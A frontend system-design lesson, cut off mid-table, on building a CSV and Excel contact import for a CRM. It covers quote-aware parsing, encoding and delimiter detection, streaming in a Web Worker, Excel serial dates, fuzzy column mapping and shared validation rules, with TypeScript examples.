cf.completefrontend
My progress
SYSTEM DESIGN · #61

Design a CSV import with column mapping

The "Import contacts from CSV or Excel" flow: read a file the user exported from somewhere else, match its columns to your fields, check every cell, and create or update thousands of records. The hard parts are parsing messy real-world files without freezing the tab, guessing the mapping well, showing errors people can fix, and sending the rows so that a failure halfway through never creates duplicates.

The question

Our CRM lets sales teams import contacts. Today the import page sends the raw file to the server and shows "Import failed" with no reason about a third of the time. Support tickets say: accents turn into question marks, a file from a German colleague puts everything in one column, a 200,000 row file freezes the tab, and a retry after a network error created 4,000 duplicate contacts.

Design the import flow on the frontend: from the moment the user drops a CSV or Excel file to the summary at the end. How do you parse it, map its columns to our fields, validate and fix rows, and send them to the server safely?

Real-life examples: HubSpot and Mailchimp contact import, Shopify product CSV import, Airtable CSV import, Stripe customer and product import, Flatfile, OneSchema and CSVBox import widgets

Requirements: what to ask before drawing anything

A CSV import turns a spreadsheet someone already has into records in your product. CSV means comma-separated values: a plain text file where each line is a row and commas split the cells. Almost every product with a list of things (contacts, products, transactions, employees) has an import page, because nobody wants to type 5,000 rows by hand.

It looks like a file input and a submit button. It becomes a design problem because the file comes from somewhere you don't control: an Excel export on a German laptop, a Salesforce report, a Google Sheets download, a script someone wrote in 2009. The columns have the wrong names, the dates are in a different order, the text is in a different encoding, and some rows are simply wrong. The import flow turns that mess into clean records, and lets the person fix what the code can't guess.

Four other guides cover the parts around this one, so this guide links to them instead of repeating them. The file-uploader guide covers picking files, drag and drop, and uploading bytes. The multi-step-form guide covers wizard navigation, step state, and saving drafts.

The data-table guide covers big scrolling tables, and the log-viewer guide covers holding millions of lines of text in a worker behind a byte index. This guide is about what happens to the data: parse, map, validate, import.

Questions that change the design

QuestionAnswer we assumeWhat it changes
How big can a file be?Typical: 500 to 5,000 rows. Supported maximum: 500,000 rows or 100 MB. We reject larger files with a clear message.Whether we can parse on the main thread, whether we need a worker and streaming, and whether we keep every row in memory.
Which formats?CSV and TSV in any common delimiter, plus .xlsx from Excel. No .xls (the old binary format) and no Numbers files.Whether we ship a spreadsheet library and how we load it.
What are we importing into?Contacts: email (required, unique), first name, last name, phone, company, country, birthday, lifecycle stage, opted in.The target schema the mapper matches against, and which fields need special parsers (dates, phones, enums).
What happens to existing records?The user picks: create only, update only, or create and update. Records match on email.Deduplication, the preview counts, and the server API.
Where does validation happen?In the browser for fast feedback, and again on the server, which is the source of truth.Shared validation rules and how server errors flow back into the error view.
Who uses it?Sales and marketing staff, not engineers, mostly on desktop. Some import the same weekly export every Monday.Plain-language errors, saved mapping templates, and keyboard and screen reader support.
Is the data sensitive?Yes: names, emails, phones. It is personal data under GDPR.What we keep in memory, what we log, and what we never send to analytics.

Functional requirements

  • Accept a .csv, .tsv, .txt or .xlsx file, detect its encoding, delimiter and header row, and show the first rows so the user can confirm it was read correctly.
  • For .xlsx files with several sheets, let the user pick the sheet.
  • Suggest a mapping from each file column to a target field, let the user change any of it, ignore columns, and save the mapping as a template for next time.
  • Convert and check every cell: numbers, dates, emails, phone numbers, enums such as lifecycle stage, and required fields.
  • Show errors per cell, let the user fix them in place or skip bad rows, and download the bad rows as a CSV with an error column.
  • Before importing, show what will happen: "1,204 new, 312 updates, 17 errors, 3 duplicates in the file".
  • Send the rows, show progress, survive a dropped connection without duplicating anything, and finish with a summary.

Non-functional requirements, with numbers

  • Never freeze the page. No task on the main thread over 50 ms while parsing or validating, the threshold browsers use for a long task. Typing in a cell fix and clicking Cancel must always respond.
  • Fast first look. The preview shows the first 100 rows within about 1 second of choosing the file, even for a 100 MB file, because we only need the start of it.
  • Full validation of 100,000 rows in a few seconds on a mid-range laptop, with progress shown.
  • Memory. Peak memory for a 100 MB CSV should stay under about 200 MB. Browsers discard or crash tabs that use too much memory. On phones and low-memory laptops that can happen well below 1 GB, and the limit varies by device, so we design far below it.
  • Exactly once. A retry after any failure must not create a record twice.
  • Accessible. The mapping screen, the error view, and progress all work with a keyboard and a screen reader.

Out of scope, and why

  • The upload widget itself (drop zone, file picker, progress for raw bytes): the file-uploader guide covers it.
  • Scheduled imports from a URL or an SFTP folder: a server-side feature with no mapping screen.
  • Exporting data to CSV: related, and we touch on it for the error file, but the form-builder guide covers export columns.
  • Merging rows field by field with conflict resolution ("keep the newer phone"): we offer create, update or skip per row, which covers most imports.

Check your understanding · Exercise 1

Which answers from the interviewer would change the frontend design the most? Select all that apply.

What makes an import hard

Before choosing anything, name the properties of the problem that every later decision answers to. An import has five of them, and each one shows up as a support ticket when it is ignored.

  • The input is hostile by accident. Nobody writes a bad CSV on purpose, but real files mix encodings, delimiters, quoting styles and date formats. "CSV" is less a format than a family of habits. Your parser has to guess well and let the user correct the guess.
  • The input can be big. A 100 MB file is about 500,000 rows. Reading it as one string, splitting it into arrays, and validating it in one loop blocks the main thread for many seconds and can use the better part of a gigabyte of memory.
  • The meaning lives in the user's head. Is Name the first name or the full name? Is 01/02/2026 the 1st of February or the 2nd of January? Is Status = Hot a lifecycle stage? Code can suggest, but only the person knows. The design has to ask the right question at the right time, and not ask 50 questions.
  • Errors are the main screen, not an edge case. In a real 5,000 row file, some rows are always wrong: a missing email, a phone with a typo, a country spelled three ways. The user spends most of their time in the error view, so it has to be fast to scan and fast to fix.
  • The write is big and not atomic. Thousands of records go to the server in many requests. Any of them can fail, the laptop can sleep, the user can close the tab. A retry must not double anything, and the user must know exactly what was imported.

Those five properties give the flow its shape: a pipeline of stages, each of which turns one representation into the next and can stop to ask the user. Bytes become text (decoding), text becomes rows of strings (parsing), columns get meaning (mapping), strings become typed values or errors (validation), valid rows meet existing records (matching), and the result goes to the server in batches (import).

The import pipeline, inside a Web Worker. Decode turns bytes into text and may ask about the encoding. Parse turns text into rows and may ask about the delimiter and header. Map gives columns meaning and asks which field. Validate turns strings into typed values and may ask the date order. Match decides create or update. Send posts numbered batches to the import job API on the server.Web WorkerDecodeencoding?Parsedelimiter, header?Mapwhich field?textrowsmappedValidatedate order?Matchcreate or update?Send500-row batchesvaluesrowsImport job APIevery stage can stopand ask the user
Each stage turns one form of the data into the next and keeps its input, so changing the delimiter reruns Parse and what follows, while fixing one cell reruns only Validate and Match for that row.

Two rules fall out of the picture. First, every stage after the user picks the file runs in a Web Worker, a background thread with no access to the page, so that the page never freezes. The main thread only draws the screens and sends the user's choices to the worker.

Second, every stage keeps its input. When the user changes the delimiter, only parsing and what follows reruns. When they change one mapping, only that column is revalidated, and nobody re-reads a 100 MB file because they fixed one cell.

The UI around the pipeline is a wizard with four steps: Upload, Map, Review, Import. The multi-step-form guide covers how a wizard keeps step state, guards navigation and saves drafts. Here the interesting part is what each step computes, and which steps can be skipped: when a saved template matches every column exactly and there are no errors, the user goes from Upload straight to a confirmation with the counts.

Think first

A user imports a clean 3,000 row file. Which stage do you expect to take the most of their time: parsing, mapping, validation or sending?

Parsing CSV correctly: quotes, delimiters, encodings

The naive parser is two lines: split the text on newlines, then split each line on commas. It works on the first test file and breaks on the first real one. Here is a row exported from a CRM, where the address has a comma and a line break inside it, and the note has quotes:

text
email,name,address,note
ana@example.com,Ana Souza,"Rua Augusta 12, apt 3
São Paulo","Said ""call me after 5"""
One record over two lines: quoted fields can hold commas, line breaks and doubled quotes.

Split on newlines and you get two broken rows. Split on commas and the address becomes two cells. The rules come from RFC 4180, an informational RFC from 2005 and the closest thing CSV has to a standard: a field that contains a comma, a double quote or a line break is wrapped in double quotes, and a double quote inside such a field is written twice (""). Records end with CRLF in the spec, but real files use LF too, and a few old Mac exports use a bare CR.

Decision How should we turn CSV text into rows?

Split on newlines, then on commas

text.split(/\r?\n/) then line.split(",").

Pros

  • Ten seconds to write.
  • Fast on clean files.

Cons

  • Wrong for any quoted comma, quoted newline or escaped quote: silently shifts cells into the wrong columns.
  • No idea of delimiters other than comma.

A regular expression per line

A pattern that matches either a quoted field or a run of non-comma characters.

Pros

  • Handles quoted commas and doubled quotes.

Cons

  • Still works line by line, so quoted newlines break it.
  • Hard to read, and some patterns backtrack badly on long malformed lines.

A character-by-character state machine

Walk the text once, tracking whether you are inside quotes; emit a field at a delimiter outside quotes and a row at a line break outside quotes.

Pros

  • Correct by construction, one pass, works on chunks if the state is kept between them.

Cons

  • You own every edge case: stray quotes, a missing closing quote, CR versus CRLF, and speed tuning.

A tested library (Papa Parse)

Papa.parse(file, { worker: true, step }) with delimiter detection, streaming and error reporting built in.

Pros

  • Years of real-world files behind it, streams File objects in chunks, guesses the delimiter, reports malformed rows with row numbers.
  • Small: about 19 KB minified (7 KB gzipped), no dependencies.

Cons

  • Its worker mode can't pause and resume, only abort.
  • No encoding detection: its encoding option is handed to FileReader, so you detect the encoding yourself first.

What we pick: Use a tested library, and understand the state machine it runs, because the interviewer will ask how a quoted newline is handled. Papa Parse is the usual pick in the browser. If you need full control (custom encoding detection, your own worker protocol), a 40 line state machine like the one below is also fine, as long as it is fuzz-tested against a reference parser.

ts
// The core of a CSV parser: one pass, one flag. State survives between chunks.
type State = { row: string[]; field: string; inQuotes: boolean; afterQuote: boolean };

function feed(s: State, text: string, delim: string, emit: (row: string[]) => void) {
  for (let i = 0; i < text.length; i++) {
    const c = text[i];
    if (s.inQuotes) {
      if (c !== '"') s.field += c;
      else if (text[i + 1] === '"') { s.field += '"'; i++; } // "" is one quote
      else { s.inQuotes = false; s.afterQuote = true; }
      continue;
    }
    if (c === '"' && s.field === "" && !s.afterQuote) s.inQuotes = true;
    else if (c === delim) { s.row.push(s.field); s.field = ""; s.afterQuote = false; }
    else if (c === "\n" || c === "\r") {
      if (c === "\r" && text[i + 1] === "\n") i++;
      s.row.push(s.field); emit(s.row);
      s.row = []; s.field = ""; s.afterQuote = false;
    } else s.field += c; // a stray quote mid-field is kept as text
  }
}
Simplified: a real version also handles a doubled quote or a CR LF pair split across two chunks, and reports an unclosed quote at the end.

Sniffing the delimiter

Excel saves "CSV" with the list separator of the computer's region. In Germany, France, Spain, Brazil and most countries where the comma is the decimal mark, that separator is a semicolon, so 1,5 can stay a number. Tab-separated files come from database tools and from copying cells out of a spreadsheet. Some systems use a pipe |.

To guess, parse the first 20 or so records with each candidate (, ; \t |) using the quote-aware parser, and score each one: the delimiter wins if it gives more than one column and the same number of columns on almost every row. Counting raw characters is not enough: Smith, John inside quotes would vote for the comma. Papa Parse does the same on the first 10 rows; delimitersToGuess sets the candidates. Show the result ("Separated by semicolons") with a dropdown to change it, because the guess can tie, as on a one-column file.

Encodings and the BOM

A file is bytes, and an encoding is the rule for turning bytes into characters. Modern tools write UTF-8. Excel's plain "CSV" option on Windows writes the system's legacy code page instead: Windows-1252 in Western Europe and the Americas, Shift_JIS in Japan.

In Windows-1252, é is one byte, 0xE9. Read that byte as UTF-8 and it is invalid, so a lenient decoder prints Jos�. Go the other way, UTF-8 bytes read as Windows-1252, and Müller becomes Müller. Both are support tickets you have seen.

Excel's "CSV UTF-8" option adds a byte order mark (BOM), the three bytes EF BB BF at the start. It is a reliable sign of UTF-8. Left in, it becomes an invisible character glued to the first header, so a header that looks like email no longer equals email and auto-mapping fails for that one column. TextDecoder skips it by default (its ignoreBOM option is false); hand-written byte handling must strip it too.

The detection order is short. A UTF-8 BOM means UTF-8. A UTF-16 BOM (FF FE or FE FF) means UTF-16, which Excel's "Unicode text" export produces, usually tab-separated.

Otherwise, try a strict UTF-8 decode with new TextDecoder("utf-8", { fatal: true }): it throws a TypeError on the first invalid byte sequence, and real legacy text with accents almost never happens to be valid UTF-8. If it throws, fall back to the user's likely legacy encoding: Windows-1252 by default, Shift_JIS when the browser language is Japanese. Then show a sample with the accents and let the user switch encodings if it looks wrong.

Choosing the encoding from the first 64 KB of the file. First: do the bytes start with the UTF-8 BOM EF BB BF? If yes, decode as UTF-8 and strip the BOM. If no: do they start with a UTF-16 BOM, FF FE or FE FF? If yes, UTF-16. If no: does a strict UTF-8 decode with fatal true succeed? If yes, UTF-8. If no, fall back to windows-1252, or Shift_JIS for a Japanese browser, and show a sample so the user can switch.UTF-8 BOM?starts EF BB BFUTF-16 BOM?FF FE or FE FFStrict UTF-8 ok?fatal: trueLegacy fallbackwindows-1252, shift_jisUTF-8strip the BOMUTF-16usually tab-separatedUTF-8no BOMshow Müller in a sampleuser can switchyesyesyesnonono
A strict decode is a strong test: Windows-1252 text with accents is almost never valid UTF-8, so fatal: true throws on it. The last box is the important one: show the guess with real accented names and let the user switch.
ts
function pickEncoding(head: Uint8Array, lang: string): string {
  if (head[0] === 0xef && head[1] === 0xbb && head[2] === 0xbf) return "utf-8";
  if (head[0] === 0xff && head[1] === 0xfe) return "utf-16le";
  if (head[0] === 0xfe && head[1] === 0xff) return "utf-16be";
  try {
    // stream: true so a character cut at the end of the sample doesn't throw
    new TextDecoder("utf-8", { fatal: true }).decode(head, { stream: true });
    return "utf-8";
  } catch {
    return lang.startsWith("ja") ? "shift_jis" : "windows-1252";
  }
}
Check the first 64 KB, not the whole file. A wrong guess is cheap: the user switches it and only the decode and parse rerun.

Finding the header row

Most files have one header row, but not all. Reports often start with a title and a blank line ("Contacts export, 3 March"), and some files have no header at all. A cheap rule works well: the header is the first row that has the most common column count, whose cells are all non-empty text, and none of whose cells parse as a number, a date or an email.

Show the first rows with the chosen header highlighted and a "Header is on row 3" control. If there is no header, the mapper names the columns Column A, Column B and matches on the values instead.

Try it. Each preset below is a file we have seen in support tickets. The lab decodes the bytes, sniffs the delimiter, and parses the rows with the state machine above.

File
Parsing lab. First bytes: 65 6D 61 69 6C 2C 6E 61 6D. Decoded as utf-8. Delimiter scores: comma 4 columns on every row, semicolon 1 to 1 columns, tab 1 to 1 columns, pipe 1 to 1 columns. Using comma. 3 rows: email | name | address | note; ana@example.com | Ana Souza | Rua Augusta 12, apt 3 São Paulo | Said "call me after 5"; li@example.com | Li Wei | Beijing | .bytes: 65 6D 61 69 6C 2C 6E 61 6D …decoded as utf-8: strict UTF-8 decode succeededcomma: 4semicolon: 1-1tab: 1-1pipe: 1-1emailnameaddressnoteana@example.…Ana SouzaRua Augusta …Said "call m…li@example.c…Li WeiBeijing3 rows, widths 4, 4, 4
Read as utf-8 (strict UTF-8 decode succeeded), separated by comma (sniffed): 3 records, 4 columns each.

Check your understanding · Exercise 2

A user in Munich exports contacts from Excel with the plain "CSV" option. The file has names like Müller and amounts like 1.234,50. Which statements are true? Select all that apply.

Big files and Excel workbooks without freezing the page

Now take the 100 MB, 500,000 row file from the requirements. The naive code is const text = await file.text(); const rows = parse(text); on the main thread, and three things go wrong. First, parsing 100 MB in one loop takes several seconds, and for all of it the page can't paint, scroll or react to Cancel.

Second, memory. The string alone takes 100 to 200 MB: V8, Chrome's JavaScript engine, stores a string at one byte per character only when every character fits in Latin-1, and at two bytes otherwise. The result, 10 million small strings inside 500,000 arrays, adds a rough estimate of 300 to 600 MB more, and on a 4 GB laptop with other tabs open that tab can crash.

Third, a hard limit. V8 caps a single string at about 536 million characters (2 to the 29th, minus a few), so file.text() on a file of more than about 512 MB throws instead of returning.

Decision Where and how should a large file be parsed?

Main thread, whole file at once

await file.text(), parse, keep every row.

Pros

  • Simplest code; fine for a 200 KB file.

Cons

  • Freezes the page for seconds on big files.
  • Peak memory several times the file size.

Main thread, in slices that yield

Parse 2,000 rows, then await scheduler.yield() (or a setTimeout where that API is missing) so input and paint can run, then continue.

Pros

  • No worker setup; the page stays responsive between slices.

Cons

  • Every slice still competes with rendering and typing.
  • Doesn't fix memory: all rows still pile up.

Web Worker, whole file in memory

Post the File to a worker, which parses it all and keeps the rows.

Pros

  • The page never freezes.
  • Simple message protocol.

Cons

  • Memory is the same as option one, now in the worker. A crashed worker loses all work.

Web Worker, streaming, rows not kept

The worker reads file.stream() chunk by chunk, parses and validates each row as it passes, keeps only summaries (counts, errors, the match key column, the first rows), and re-reads the file later when it needs rows again.

Pros

  • Memory stays near constant whatever the file size.
  • Progress is natural: bytes read over file.size.

Cons

  • Two passes over the file (validate, then import) and an index to find rows again.
  • More code.

What we pick: Use a worker in every case, so the page never freezes. Below about 50,000 rows, keep all rows in the worker: it's simpler and fits easily. Above that, switch to the streaming mode that keeps only summaries and a row index. The pipeline API is the same in both modes, so the screens don't care which one ran.

How streaming works

A File can be posted to a worker cheaply: structured clone passes a reference to the same bytes, it doesn't copy 100 MB. In the worker, file.stream() gives a ReadableStream of byte chunks, 64 KB each in Chrome and Firefox. Decode each chunk with a TextDecoder and { stream: true } (or pipe through TextDecoderStream), which holds back a multi-byte character cut at a chunk edge until the rest arrives. Feed each text chunk into the parser state from the previous chapter, which also survives a quoted field cut in half.

ts
// parse.worker.ts
self.onmessage = async (e: MessageEvent<{ file: File; encoding: string; delim: string }>) => {
  const { file, encoding, delim } = e.data;
  const state = newState();
  let bytesRead = 0, rows = 0, lastPost = 0;
  const onParsedRow = (row: string[]) => {
    rows++;
    if (rows % 1000 === 0) checkpoints.push({ row: rows, byte: bytesRead }); // approximate, see text
    onRow(row); // map, validate, count; keep only errors and the key column
  };
  const reader = file.stream().getReader();
  const decoder = new TextDecoder(encoding);
  for (;;) {
    const { done, value } = await reader.read();
    if (done) break;
    bytesRead += value.byteLength;
    feed(state, decoder.decode(value, { stream: true }), delim, onParsedRow);
    if (performance.now() - lastPost > 100) {
      postMessage({ type: "progress", bytesRead, total: file.size, rows });
      lastPost = performance.now();
    }
  }
  feed(state, decoder.decode(), delim, onParsedRow); // flush the decoder
  finish(state, onParsedRow);                        // last row if the file has no final newline
  postMessage({ type: "done", rows, summary: summarize() });
};
Progress at most every 100 ms: posting per row would flood the main thread with 500,000 messages.

The row index is how the worker finds rows again without keeping them. Every 1,000 rows it records where the row starts. The chunk-level byte count in the sketch is approximate; a real version counts the encoded length of each consumed character so the offset is exact.

To show rows 120,000 to 120,050, the worker calls file.slice(offset) from checkpoint 120,000, parses 50 rows and stops. Because a checkpoint is always at a row start, the parser starts outside quotes. The 500 checkpoints take a few tens of KB at most. The log-viewer guide builds the same kind of offset index for millions of log lines.

Papa Parse supports the same idea: pass the File with a step callback (one row at a time) or a chunk callback (many rows at a time) and it reads the file in slices, 10 MB by default, set with chunkSize, instead of loading everything. Its own worker: true option posts results back to the main thread, which then holds them. If you want the rows to stay in the worker, call Papa.parse inside your own worker without that option.

Parsing a big file in a worker, as a sequence between the user, the page, the worker and the file. The user drops a file. The page posts the File to the worker. The worker reads a chunk from the file stream and gets 64 KB of bytes back. The worker posts progress, 35 percent, to the page. The user clicks Cancel, and the page calls worker.terminate(), which stops the worker at once.UserPageWorkerFiledrops filepost(file)read chunk64 KB bytesprogress 35%Cancelterminate()read, parse, progress: repeats per chunk
Reading a chunk and posting progress repeat until the file ends, with progress posted at most every 100 ms. Cancel needs no help from the parsing loop: terminate() stops the thread and frees its memory.

Cancel must work at any moment. The main thread calls worker.terminate(), which stops the worker instantly, frees its memory and needs no cooperation from the parsing loop. Starting again creates a new worker. The same applies when the user picks a different file mid-parse.

Rough peak memory for a 100 MB, 500,000 row CSV. Keeping every row: the file stays on disk, the text string takes 100 to 200 MB, and the rows as arrays of strings take 300 to 600 MB, a peak of 400 to 800 MB. Streaming and keeping summaries: the file stays on disk, one chunk is 64 KB, the key column is about 20 MB, and errors plus the row index take a few MB, a peak of tens of MB.keep every rowFile: on disk, 0 in heapstring: 100 to 200 MBrows: 300 to 600 MBstream, keep summariesFile: on disk, 0 in heapchunk: 64 KBkeys: about 20 MBerrors, index: a few MBpeak: 400 to 800 MBpeak: tens of MB
These are estimates; real numbers depend on the engine and the data. The shape is what matters: one approach grows with the file, the other stays almost flat.

Check your understanding · Exercise 3

The streaming worker has validated 500,000 rows and kept only summaries. Which of these can it still do without reading the whole file again? Select all that apply.

Excel files: sheets, serial dates and formulas

Many users never see a CSV. They have an .xlsx file and they drop it in. An .xlsx file is a ZIP archive of XML files: one per sheet, one for shared strings, one for styles.

Parsing it needs an unzip step and an XML reader. It also brings three surprises that CSV doesn't have: several sheets, dates stored as numbers, and formulas. And because the format is a ZIP, it changes the memory story from the start of this chapter.

Decision How do we support Excel files?

Don't: ask users to save as CSV

Accept only .csv; show "In Excel, choose File, Save As, CSV UTF-8".

Pros

  • No library, no new edge cases.

Cons

  • Every user pays a detour, and many pick the plain CSV option, bringing back the encoding problem.

Convert on the server

Upload the .xlsx, the server converts it to rows and returns a preview.

Pros

  • No client bundle cost; the server can use a mature library.

Cons

  • Uploads the whole file before the user sees anything, and the personal data leaves the device before the user has confirmed the import.
  • Mapping and validation now wait on round trips.

SheetJS in the worker, loaded on demand

When the file name ends in .xlsx, the worker runs await import("xlsx"), reads the workbook and turns the chosen sheet into rows of strings for the same pipeline.

Pros

  • Same flow as CSV after the first step.
  • Users who import CSV never download the library.

Cons

  • The library is large: the full build is about 950 KB minified (330 KB gzipped), and the mini build that still reads .xlsx is about 280 KB (86 KB gzipped).
  • XLSX can't be parsed row by row like CSV: the ZIP's index sits at the end of the file and every sheet points into a shared strings table, so SheetJS reads the whole workbook into memory.

What we pick: Load SheetJS in the worker only when an .xlsx file arrives, and convert the sheet into the same rows of strings CSV produces, so mapping and validation never know the difference. Because the whole workbook sits in memory, set a lower limit for .xlsx (say 30 MB) than for CSV, and suggest CSV for bigger files. Note that SheetJS publishes current versions on its own CDN (cdn.sheetjs.com); the xlsx package on the npm registry is stuck at an old version.

Choosing the sheet

A workbook often has a data sheet plus a "Notes" or "Pivot" sheet. Read only the sheet names first: SheetJS has a bookSheets: true option that skips cell data. If there is one sheet, use it; if there are several, show the first few rows of each and preselect the one with the most rows. For that quick preview, the sheetRows option reads only the first N rows.

Dates are numbers

Excel stores a date as a serial number: days since a starting point, with the time of day as the fraction. In the default 1900 date system, serial 46024 is 2 January 2026 and 46024.5 is noon that day. The number is what is in the file; the date look comes from the cell's number format. So a library that ignores formats hands you 46024 in the birthday column, and validation fails every row.

  • Use the cell's type and format to tell a date from a plain number. SheetJS gives each cell a raw value v, a type t, and formatted text w; with cellDates: true it returns date cells as Date objects.
  • Date objects bring time zone shifts (midnight in one zone is the previous day in another), so for date-only fields convert the serial to a plain 2026-01-02 string yourself.
  • Some files, mostly old Mac ones, use the 1904 date system, which is offset by 1,462 days. The workbook says which one it uses: SheetJS exposes the flag as wb.Workbook.WBProps.date1904.
  • Excel's 1900 system counts a 29 February 1900 that never existed, a bug kept for Lotus 1-2-3 compatibility. It only matters for dates before March 1900, but a birthday column can have them.

Formulas, values and lost data

A formula cell stores both the formula (=B2*1.2) and the last value Excel calculated. Import the value, never the formula. SheetJS reads the stored value and does not recalculate. A file written by a script that never opened it in Excel may have formulas with no stored values; flag those cells as empty with a clear warning instead of importing blanks silently.

Some data is lost before it reaches you. Excel turns a ZIP code typed as 02134 into the number 2134, and shows a 12-digit phone number such as 491511234567 in a General-format cell as 4.91511E+11, which is also what its CSV export writes. You can't recover those digits. You can detect the pattern (a number in scientific notation in a phone column, a 4-digit US ZIP) and say what happened, so the user fixes the source instead of filing a bug.

Check your understanding · Exercise 4

An .xlsx birthday column shows correct dates in Excel, but every row fails validation in your import with values like 33970. What is the likely cause, and what else should the fix take care of? Select all that apply.

Preview and column mapping

Once the file is parsed, the user needs to see two things: that it was read correctly, and which column feeds which field. The preview answers the first. It shows the first 100 rows (the data-table guide covers big tables) under the detected settings: "UTF-8, separated by semicolons, header on row 1, 48,210 rows".

A toggle switches each cell between the raw text from the file and the parsed value (03/04/2026 next to 2026-04-03). That is how users spot a wrong date format before importing 48,000 rows with it.

The mapping answers the second. Each file column gets a row in a table: the column header, three sample values, and a dropdown of target fields plus "Don't import". The target fields come from a schema the host app provides (see the component API in the architecture chapter). Required fields that nothing maps to are listed at the top, and the Next button stays enabled but explains what is missing when pressed, rather than sitting grey with no reason.

Wireframe of the Map step. A step bar shows Upload done, Map current, then Review and Import. A status line says Email is required and mapped, and 1 suggestion needs a check. Four rows map file columns to fields: E-mail Address with sample ana@example.com maps to Email at 95 percent through a synonym; First nm with samples Ana, Li, Omar is suggested as First name at 71 percent and marked for review; Tel maps to Phone at 95 percent through a synonym; Notes is not imported. At the bottom are Back, Save as template, and Next buttons.Import contacts: map columns1 Upload2 Map3 Review4 ImportEmail (required): mapped. 1 suggestion to check.file columnsamplesfieldE-mail Addressana@example.comEmail ▾ 95%First nmAna, Li, OmarFirst name ▾ 71%Tel(415) 555-0100Phone ▾ 95%Notescall after 5Don't import ▾BackSave as templateNext
Every row shows real sample values next to the guess, because headers lie and values don't. Medium-confidence guesses are marked for review instead of applied silently.

Decision How should the mapper guess which column goes to which field?

Exact header match

Map a column only if its header equals a field key or label, ignoring case.

Pros

  • Never wrong when it matches.

Cons

  • E-mail Address, Email (work) and Correo all fail, so users map most columns by hand.

Normalized names plus synonyms

Normalize both sides (lowercase, strip accents and punctuation), then compare against each field's list of synonyms: email also matches emailaddress, mail, correo.

Pros

  • Catches most real headers. Deterministic and easy to explain.

Cons

  • The synonym list needs upkeep, and typos like Phnoe still miss.

Layered scores with fuzzy matching and value checks

Score each column and field pair: 1.0 for a saved template or exact match, 0.95 for a synonym, a string similarity score for near misses, and a bonus when the sample values fit the field (they look like emails, dates, countries). Assign pairs one-to-one, best score first.

Pros

  • Handles typos and headerless files.
  • Scores let the UI show confidence: auto-apply high ones, flag medium ones for review.

Cons

  • Needs a threshold, tuned on real files, and a rule for ties.

Ask a language model on the server

Send headers and a few sample values, get back a suggested mapping.

Pros

  • Understands headers in any language and odd naming.

Cons

  • Sends sample personal data to a third party unless self-hosted, adds a second or more of waiting, and can be confidently wrong.
  • Hard to test and to explain.

What we pick: Layered scores. Templates and exact names first, synonyms next, fuzzy similarity and value checks to fill gaps, then a one-to-one assignment. Auto-apply scores of 0.8 and above, show 0.6 to 0.8 as suggestions marked for review, and leave lower ones unmapped. A model can be an optional fallback for the unmapped columns, with headers only and no row values.

ts
const norm = (s: string) =>
  s.normalize("NFKD").replace(/\p{M}/gu, "")      // strip accents: "Teléfono" to "Telefono"
   .toLowerCase().replace(/[^a-z0-9]/g, "");      // "E-mail Address" to "emailaddress"

function score(header: string, samples: string[], field: TargetField): number {
  const h = norm(header);
  if (h === norm(field.key) || h === norm(field.label)) return 1;
  if (field.synonyms?.some((s) => norm(s) === h)) return 0.95;
  let best = similarity(h, norm(field.label)); // e.g. Jaro-Winkler, 0 to 1
  const fit = samples.filter((v) => field.looksLike?.(v)).length / samples.length;
  if (fit > 0.8) best = Math.max(best, 0.7) + 0.1; // values fit the field
  return Math.min(best, 0.94);
}

// One-to-one: take the best remaining pair until scores drop below 0.6.
function assign(cols: Column[], fields: TargetField[]): Map<number, string> {
  const pairs = cols.flatMap((c, i) => fields.map((f) => ({ i, f: f.key, s: score(c.header, c.samples, f) })));
  pairs.sort((a, b) => b.s - a.s);
  const out = new Map<number, string>(), used = new Set<string>();
  for (const p of pairs) if (p.s >= 0.6 && !out.has(p.i) && !used.has(p.f)) { out.set(p.i, p.f); used.add(p.f); }
  return out;
}
Unicode normalization (NFKD) splits accented letters so the accent marks can be removed; the tag-input guide covers it in more depth.

One source to one target is the default rule: two columns can't both feed email. When the user picks a field that is already used, move it: the other column becomes unmapped and gets a visible "moved to Work email" note, so nothing changes silently. A few products allow combining columns (First plus Last into a full name) or splitting one; treat those as explicit transforms with their own UI, not as a side effect of the dropdown.

Templates for repeat imports

The user who imports the Monday export every week shouldn't map 14 columns every week. When an import finishes, offer "Save this mapping". Store it on the server per workspace, with the normalized headers, the mapping, and the choices made along the way (date format, encoding, update mode).

On the next file, compute the same header signature. If a template matches every header, apply it and say so ("Using your template Weekly leads"); if it matches most headers, apply what matches and mark the rest for review. Templates belong on the server, not in localStorage, so the whole team shares them and they survive a new laptop.

Check your understanding · Exercise 5

The file has headers Mail, E-mail (work) and Nombre. The target fields are email (synonyms: mail, emailaddress) and firstName (synonyms: first, givenname). What does the layered matcher do? Select all that apply.

Transforming and validating every cell

After mapping, every cell is still a string. Transformation turns it into the field's type ("1.234,50" into 1234.5, "03/04/2026" into 2026-04-03, "Yes" into true). Validation checks the result against the field's rules (required, unique, a real email, a phone that can exist).

A cell either becomes a clean value or an error with a row, a column, a code and a plain message. The input-validation lesson covers the general principle; here we apply it to millions of cells at once.

Decision Where should validation run?

Only on the server, after upload

Send all rows; the server returns a list of errors.

Pros

  • One implementation, always the source of truth.

Cons

  • The user waits for an upload and a full server pass before seeing the first error, and every fix is another round trip.
  • The server holds unconfirmed personal data.

In the browser only

Validate in the worker; send only clean rows.

Pros

  • Instant feedback while fixing.

Cons

  • Anyone can call the API directly, and some rules (email already used by another account, plan limits) need server data.

Both, from shared rules

One rules module, written once in TypeScript, runs in the worker for instant feedback and on the server for the final word. Server-only checks come back per row in the batch response.

Pros

  • Fast fixing loop and a trustworthy result.
  • Client and server can't disagree on format rules, because they run the same code.

Cons

  • Rules must stay pure functions with no DOM or server dependencies, and both sides deploy the same version.

What we pick: Both, from one shared rules module. The worker gives instant feedback on format rules; the server re-runs them and adds the checks only it can do. Never trust the browser's verdict: it is a convenience for the user, not a security boundary.

The tricky types

Field typeWhat goes wrongRule we use
Number1,234 is one thousand two hundred thirty-four in the US and one point two three four in Germany.Decide the decimal mark per column, not per cell: if any value has two commas, or a comma followed by exactly three digits and a dot later, the comma is the thousands mark. Default to the separators of the user's locale, read with Intl.NumberFormat(locale).formatToParts(1234.5). Show the choice.
Date01/02/2026 is 2 January in the US and 1 February in the UK and India.Scan the whole column. A first part above 12 proves day first; a second part above 12 proves month first. If no value decides it, ask the user once for the column. Accept ISO 2026-02-01 always.
EmailSpaces, trailing dots, mailto: prefixes, two emails in one cell.Trim, lowercase the domain, then a simple pattern (something, @, a domain with a dot). Deliverability is the server's job, not a regex's.
Phone(415) 555-0100, +49 151 1234567, 0151 1234567 with no country.Parse with libphonenumber-js using a default country (from a mapped country column, else the workspace's country), store E.164 such as +14155550100.
